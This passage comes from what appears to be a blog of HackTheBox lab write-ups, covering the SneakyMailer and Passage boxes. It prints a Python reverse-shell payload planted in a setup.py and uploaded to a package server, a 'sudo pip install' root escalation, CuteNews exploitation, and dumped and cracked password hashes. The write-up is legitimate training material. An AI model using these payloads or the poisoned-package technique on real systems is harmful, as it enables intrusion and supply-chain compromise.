class="cl"&gt; packages=find_packages(),&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; include_package_data=False,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; platforms=[&amp;#34;any&amp;#34;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; install_requires=[&amp;#39;beautifulsoup4&amp;#39;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; python_requires=&amp;#39;&amp;gt;3.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; entry_points={&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;console_scripts&amp;#39;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;jsonize = jsonizer.jsonize:main&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That completed it. The jsonizer directory did not actually seem necessary. Even if it was, at most it needed an empty py file for the constructor. The package above was recognized, so I left it alone and ran:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python setup.py sdist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This created a new dist directory in the current directory, containing the packaged tar.gz file. The following command uploaded it.&lt;/p&gt;&#10;&lt;p&gt;The final argument meant to upload the files under dist.&lt;/p&gt;&#10;&lt;p&gt;python -m twine upload &amp;ndash;repository-url &lt;a class="link" href="http://pypi.sneakycorp.htb:8080/" target="_blank" rel="noopener"&#10; &gt;http://pypi.sneakycorp.htb:8080/&lt;/a&gt; dist/*&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0654.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0655.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the package disappeared soon after being uploaded.&lt;/p&gt;&#10;&lt;p&gt;Remember the pspy32 I uploaded earlier? It was still running on another port.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0656.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That revealed the key detail. The low user extracted the tar archive, ran setup.py with python to install it, and then uninstalled it. The purpose was to test the package. No wonder this user&amp;rsquo;s home contained many packages and a venv virtual environment.&lt;/p&gt;&#10;&lt;p&gt;As I understood it, changing setup.py to contain reverse-shell code would return a shell.&lt;/p&gt;&#10;&lt;p&gt;The path was now completely clear. I extracted the tar archive from dist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0657.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I modified setup.py and added python reverse-shell code at the beginning.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import socket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import pty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s.connect((&amp;#34;10.10.16.19&amp;#34;, 6789))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s_dup = s.fileno()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subprocess.call([&amp;#34;/bin/sh&amp;#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I repackaged and uploaded it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0658.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a shell and continued with privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0659.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo -l showed a command. I could simply search for it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sudo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TF=$(mktemp -d)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;import os; os.execl(&amp;#39;/bin/sh&amp;#39;, &amp;#39;sh&amp;#39;, &amp;#39;-c&amp;#39;, &amp;#39;sh &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)&amp;#39;)&amp;#34; &amp;gt; $TF/setup.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo pip install $TF&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Following the method above escalated directly to root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0660.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done!&lt;/p&gt;&#10;&lt;p&gt;I can only say that this was the hardest box I had completed so far, without exception. It felt like sitting an exam. Including breaks, I spent around 20 hours on it and ended up light-headed. I checked a write-up twice. The first time was because I did not realize I could phish information simply by sending links to other email addresses. That possibility never occurred to me, although the box actually provided many hints. The second time was for the dev subdomain, which genuinely was my mistake. From now on, I will brute-force subdomains before starting each box.&lt;/p&gt;&#10;&lt;p&gt;I learned a great deal and spent the entire time searching google. Asking chatgpt would often have produced better ideas, but oscp does not allow it, so I searched through a huge number of posts.&lt;/p&gt;&#10;&lt;p&gt;This box had an imap service, which I had never used. I installed many programs, none of which worked, and remained stuck until I finally found usable software. Then there was pypi, also my first encounter with it, so naturally it took a long time to learn. Most of my time went into learning pypi. I gained a lot from this box and can already feel the difficulty increasing.&lt;/p&gt;&#10;&lt;p&gt;The 2022 hackthebox linux list has 50 boxes intended for oscp practice. I have now completed 27. After finishing these, I will move on to windows boxes. Once the 2022 list is complete, I will do the newest boxes, followed by oscplabs.&lt;/p&gt;&#10;&lt;h2 id="28passage"&gt;&lt;a href="#28passage" class="header-anchor"&gt;&lt;/a&gt;28.Passage&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0661.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0662.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 22 revealed nothing, while any brute force against port 80 immediately resulted in a ban.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.206/index.php?id=11" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php?id=11&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This article explained it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0663.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Excessive access would be blocked for two minutes.&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing and similar techniques were unusable. I had two ideas.&lt;/p&gt;&#10;&lt;p&gt;The first was to brute-force the site slowly, using a wordlist generated by cewl.&lt;/p&gt;&#10;&lt;p&gt;The second was to test &lt;a class="link" href="http://10.10.10.206/index.php?id=11" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php?id=11&lt;/a&gt; for sql injection.&lt;/p&gt;&#10;&lt;p&gt;cewl &lt;a class="link" href="http://10.10.10.206/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php&lt;/a&gt; -w dict.txt&lt;/p&gt;&#10;&lt;p&gt;ffuf -w ./dict.txt -u &lt;a class="link" href="http://10.10.10.206/FUZZ" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/FUZZ&lt;/a&gt; -t 1&lt;/p&gt;&#10;&lt;p&gt;I set the thread count to 1 to avoid being banned.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0664.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Before discovering the ban behavior, directory brute force had found new.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0665.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After running cewl against the home page, I identified CuteNews. There were also 11 posts, so each one needed to be crawled to build a directory-brute-force list.&lt;/p&gt;&#10;&lt;p&gt;The domain:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0666.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0667.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I opened another page here to brute-force subdomains.&lt;/p&gt;&#10;&lt;p&gt;The page above also revealed the version: CuteNews 2.1.2.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0668.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the final exp.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0669.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I briefly reviewed how it worked.&lt;/p&gt;&#10;&lt;p&gt;It registered an account and then sent the payload. All I had to do was run it and enter the url. It was extremely simple.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0670.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I never imagined it would be that easy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0671.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0672.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A shell came back.&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0673.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;These configuration files contained nothing. I searched google for the database configuration location.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql" target="_blank" rel="noopener"&#10; &gt;https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0674.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did find these two files, but they contained nothing.&lt;/p&gt;&#10;&lt;p&gt;linenum found many things.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0675.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0676.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was clearly started by root.&lt;/p&gt;&#10;&lt;p&gt;Regardless, I first tried cracking these.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/file/.htpasswd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username:$apr1$uUMsOjCQ$.BzXClI/B/vZKddgIAJCR.&#9;&#9;&#9;#foo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/authz_owner/.htpasswd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username:$apr1$1f5oQUl4$21lLXSN7xQOPtNsj5s4Nk/&#9;&#9;&#9;#password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only two cracked.&lt;/p&gt;&#10;&lt;p&gt;According to the explanation, the other hashes were not meant to be cracked. They were combined with site-specific elements to generate new hashes that served as credentials.&lt;/p&gt;&#10;&lt;p&gt;I abandoned this for the moment and returned my attention to the website, because my searches kept saying:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0677.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It used flat files for storage. Every post I found said the same thing: there was no database, and all data was stored in txt and similar files. Yet the exp clearly created a user, and that user did not appear in either of the two files just mentioned. That made no sense.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0678.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Searching for txt files revealed two users.txt files.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, neither contained anything useful. Digging further through the directories eventually revealed an important detail.&lt;/p&gt;&#10;&lt;p&gt;/var/www/html/CuteNews/cdata/users/lines&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0679.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I wrote a script and obtained the results.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:16:&amp;ldquo;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&amp;rdquo;;s:10:&amp;ldquo;paul-coles&amp;rdquo;;}}&amp;rsquo;&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1598829833;s:6:&amp;ldquo;egre55&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:5:&amp;ldquo;admin&amp;rdquo;;a:8:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483047&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:5:&amp;ldquo;admin&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;1&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:17:&amp;ldquo;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592487988&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483281;s:9:&amp;ldquo;sid-meier&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:17:&amp;ldquo;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt;&amp;rdquo;;s:5:&amp;ldquo;admin&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&amp;rdquo;;s:9:&amp;ldquo;kim-swift&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483236;s:10:&amp;ldquo;paul-coles&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:9:&amp;ldquo;sid-meier&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483281&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:9:&amp;ldquo;sid-meier&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:9:&amp;ldquo;Sid Meier&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592485645&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483047;s:5:&amp;ldquo;admin&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&amp;rdquo;;s:9:&amp;ldquo;sid-meier&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:10:&amp;ldquo;paul-coles&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483236&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:10:&amp;ldquo;paul-coles&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:16:&amp;ldquo;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:10:&amp;ldquo;Paul Coles&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592485556&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:9:&amp;ldquo;kim-swift&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483309&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:9:&amp;ldquo;kim-swift&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:9:&amp;ldquo;Kim Swift&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592487096&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:6:&amp;ldquo;egre55&amp;rdquo;;a:11:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1598829833&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;4&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc&amp;rdquo;;s:4:&amp;ldquo;more&amp;rdquo;;s:60:&amp;ldquo;YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==&amp;quot;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1598834079&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:6:&amp;ldquo;avatar&amp;rdquo;;s:26:&amp;ldquo;avatar_egre55_spwvgujw.php&amp;rdquo;;s:6:&amp;ldquo;e-hide&amp;rdquo;;s:0:&amp;rdquo;&amp;quot;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483309;s:9:&amp;ldquo;kim-swift&amp;rdquo;;}}'&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I organized the results.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt; 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&#9;4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&#9;e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&#9;f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&#9;4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc&lt;/p&gt;&#10;&lt;p&gt;The password for &lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt; was atlanta1.&lt;/p&gt;&#10;&lt;p&gt;The password for &lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt; was egre55.&lt;/p&gt;&#10;&lt;p&gt;The others did not crack with rockyou, and online sites had no results either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img 